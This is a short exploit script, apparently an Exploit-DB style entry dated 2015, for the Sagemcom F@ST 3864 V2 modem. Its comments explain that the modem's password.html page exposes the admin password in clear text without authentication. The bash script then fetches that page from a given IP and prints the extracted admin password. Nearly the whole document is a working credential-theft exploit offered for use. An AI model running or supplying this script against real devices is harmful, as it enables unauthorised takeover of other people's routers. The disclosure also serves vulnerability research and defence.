Sagemcom F@ST 3864 V2 - Get Admin Password

#!/bin/bash
#########################################
# Exploit Title: Sagemcom 3864 V2 get admin password
# Date 2015-08-15
# Author: Cade Bull
# Software Link: null
# Tested on: Sagemcom F@ST 3864 V2
# Version: 7.253.2_F3864V2_Optus
#########################################

# The sagemcom modem does not authenticate users when requesting pages, only whilst posting forms
# the password.html page loads the admin password in clear text and stores it in Javascript, which is viewable without any credentials
 
if [ "$1" != "" ]
then
	IP_ADDRESS="$1"
else
	echo "Usage : $0 IP_ADDRESS"
	exit 1
fi
 
USER_PASSWORD=`wget http://$IP_ADDRESS/password.html -t 1 -q -O -  | grep "pwdAdmin" | tr " = " "\n" | grep "'" | tr -d "';" `
echo "admin password = $USER_PASSWORD"